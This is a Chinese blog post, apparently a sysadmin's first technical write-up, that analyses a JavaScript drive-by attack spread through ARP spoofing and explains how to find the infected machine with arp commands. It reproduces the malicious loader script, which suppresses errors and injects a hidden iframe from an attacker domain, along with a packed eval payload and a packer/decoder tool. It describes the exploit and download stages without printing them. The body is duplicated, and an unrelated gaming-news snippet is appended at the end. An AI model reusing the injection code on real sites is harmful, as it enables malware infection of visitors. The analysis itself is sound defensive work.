本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!
最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!
现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>;
来源:经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;
分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:
document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function StartRun(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun();");
document.writeln("<\/script>")
其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件http://9-6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了;
2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下:

这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把\x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了;
具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧;

上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦!
3、打开http://9-6.IN/s368/T368.htm查看源代码,又发现一段怪异的JS文件,如下:

解析arp病毒背后利用的Javascript技术
可以看出这段代码也是经过加密的了,特征为function(p,a,c,k,e,d),这种加密方法网上有很多例子,我就不细说了,附上解密代码:

var tmp = code.match(/\b(\w+)\b/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp .length; i++) {
if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;

code = code.replace(new RegExp('\\b'+dict[i]+'\\b','g'), ch);
if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}("

}

经过解密后代码为:

继续打开这个表面象图片的链接,呵呵,当然不会是MM图片了,查看源代码,找到如下代码:

又是好长的代码,又发现了function(p,a,c,k,e,r),继续解码,代码很长,请大家自己解码查看吧,这里应用的还是上面的手法,用加密函数加密,然后转换为十六进制,尽最大努力混淆我们的视线,来达到不可告人的目的,这里的代码的主要作用是用另外一种方法下载病毒并运行,思想真的很先进,居然是去调用Web迅雷来下载病毒,然后去运行,作者真的是煞费苦心啊,应用了两种方法下载病毒,“小样,就不信毒不倒你!”,呵呵
杀毒:说了半天只是分析了一下ARP病毒发作的时候在干什么,下面就说下关于杀毒的问题,其实现在网上有很多这方面的相关教程,我就简单总结一下我的杀毒过程吧;
1、中了arp病毒必须要先找到中毒的机器
2、给这个机器断网、杀毒
3、恢复局域网
其中第一步最关键了,如何才能找到呢?
在局域网随便一台客户机上打开网上邻居,查看工作组计算机,然后等到列表刷新出来后,迅速点击开始-->运行-->cmd-->arp -a回车,如果机器比较多,请多输入几次arp -a,然后仔细查看,你会发现有一台机器的Mac地址和网关的Mac地址相同,恭喜你,这就是那个毒源!
到这台机器的跟前(呵呵,废话真多),剩下的工作相信大家都有很多经验了吧,杀毒!装杀毒软件或者进安全模式更甚者重装机器,总之把病毒干掉就行了;
最后,到不能打开网页的机器上执行这个命令:点击开始-->运行-->cmd-->arp -d回车,然后就可以了。、
终于一切又恢复了平静,是不是很有成就感呢,呵呵!
本人的第一篇正式的BLOG技术文章终于写完了,希望大家能喜欢看!
最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!
现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>;
来源:经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;
分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:
document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function StartRun(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun();");
document.writeln("<\/script>")
其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件http://9-6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了;
2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下:

这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把\x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了;
具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧;

上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦!
3、打开http://9-6.IN/s368/T368.htm查看源代码,又发现一段怪异的JS文件,如下:
[Copy to clipboard] [ - ]CODE:
<script>
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('x("\\0\\6\\9\\5\\i\\h\\j\\j\\4\\f\\8\\3\\2\\0\\7\\1\\i\\8\\2\\3\\h\\g\\4\\w\\v\\u\\t\\b\\s\\7\\r\\g\\4\\e\\f\\q\\8\\3\\2\\0\\7\\1\\e\\4\\d\\c\\d\\c\\p\\5\\3\\o\\n\\a\\6\\1\\b\\m\\2\\0\\1\\a\\l\\0\\6\\9\\5\\k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123|eval'.split('|'),0,{}))

解析arp病毒背后利用的Javascript技术
可以看出这段代码也是经过加密的了,特征为function(p,a,c,k,e,d),这种加密方法网上有很多例子,我就不细说了,附上解密代码:
[Copy to clipboard] [ - ]CODE:

<script>
a=62;
function encode() {
var code = document.getElementById('code').value;
code = code.replace(/[\r\n]+/g, '');
code = code.replace(/'/g, "\\'");
var tmp = code.match(/\b(\w+)\b/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp .length; i++) {
if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i++) {
ch = num(i);
code = code.replace(new RegExp('\\b'+dict[i]+'\\b','g'), ch);
if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}("
+ "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
}
function num(c) {
return(c<a ?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
function run() {
eval(document.getElementById('code').value);
}
function decode() {
var code = document.getElementById('code').value;
code = code.replace(/^eval/, '');
document.getElementById('code').value = eval(code);
}
</script>
<textarea id=code cols=80 rows=20>
</textarea><br />
<input type=button onclick=encode() value=编码/>
<input type=button onclick=run() value=执行/>
<input type=button onclick=decode() value=解码/>
</body>
</html>
经过解密后代码为:
[Copy to clipboard] [ - ]CODE:
info = "<script src=\"S368.jpg\"></script>"
document.write(info)
继续打开这个表面象图片的链接,呵呵,当然不会是MM图片了,查看源代码,找到如下代码:

又是好长的代码,又发现了function(p,a,c,k,e,r),继续解码,代码很长,请大家自己解码查看吧,这里应用的还是上面的手法,用加密函数加密,然后转换为十六进制,尽最大努力混淆我们的视线,来达到不可告人的目的,这里的代码的主要作用是用另外一种方法下载病毒并运行,思想真的很先进,居然是去调用Web迅雷来下载病毒,然后去运行,作者真的是煞费苦心啊,应用了两种方法下载病毒,“小样,就不信毒不倒你!”,呵呵
杀毒:说了半天只是分析了一下ARP病毒发作的时候在干什么,下面就说下关于杀毒的问题,其实现在网上有很多这方面的相关教程,我就简单总结一下我的杀毒过程吧;
1、中了arp病毒必须要先找到中毒的机器
2、给这个机器断网、杀毒
3、恢复局域网
其中第一步最关键了,如何才能找到呢?
在局域网随便一台客户机上打开网上邻居,查看工作组计算机,然后等到列表刷新出来后,迅速点击开始-->运行-->cmd-->arp -a回车,如果机器比较多,请多输入几次arp -a,然后仔细查看,你会发现有一台机器的Mac地址和网关的Mac地址相同,恭喜你,这就是那个毒源!
到这台机器的跟前(呵呵,废话真多),剩下的工作相信大家都有很多经验了吧,杀毒!装杀毒软件或者进安全模式更甚者重装机器,总之把病毒干掉就行了;
最后,到不能打开网页的机器上执行这个命令:点击开始-->运行-->cmd-->arp -d回车,然后就可以了。、
终于一切又恢复了平静,是不是很有成就感呢,呵呵!
本人的第一篇正式的BLOG技术文章终于写完了,希望大家能喜欢看!

稳了!魔兽国服回归的3条重磅消息!官宣时间再确认!
昨天有一位朋友在大神群里分享,自己亚服账号被封号之后居然弹出了国服的封号信息对话框。
这里面让他访问的是一个国服的战网网址,com.cn和后面的zh都非常明白地表明这就是国服战网。
而他在复制这个网址并且进行登录之后,确实是网易的网址,也就是我们熟悉的停服之后国服发布的暴雪游戏产品运营到期开放退款的说明。这是一件比较奇怪的事情,因为以前都没有出现这样的情况,现在突然提示跳转到国服战网的网址,是不是说明了简体中文客户端已经开始进行更新了呢?
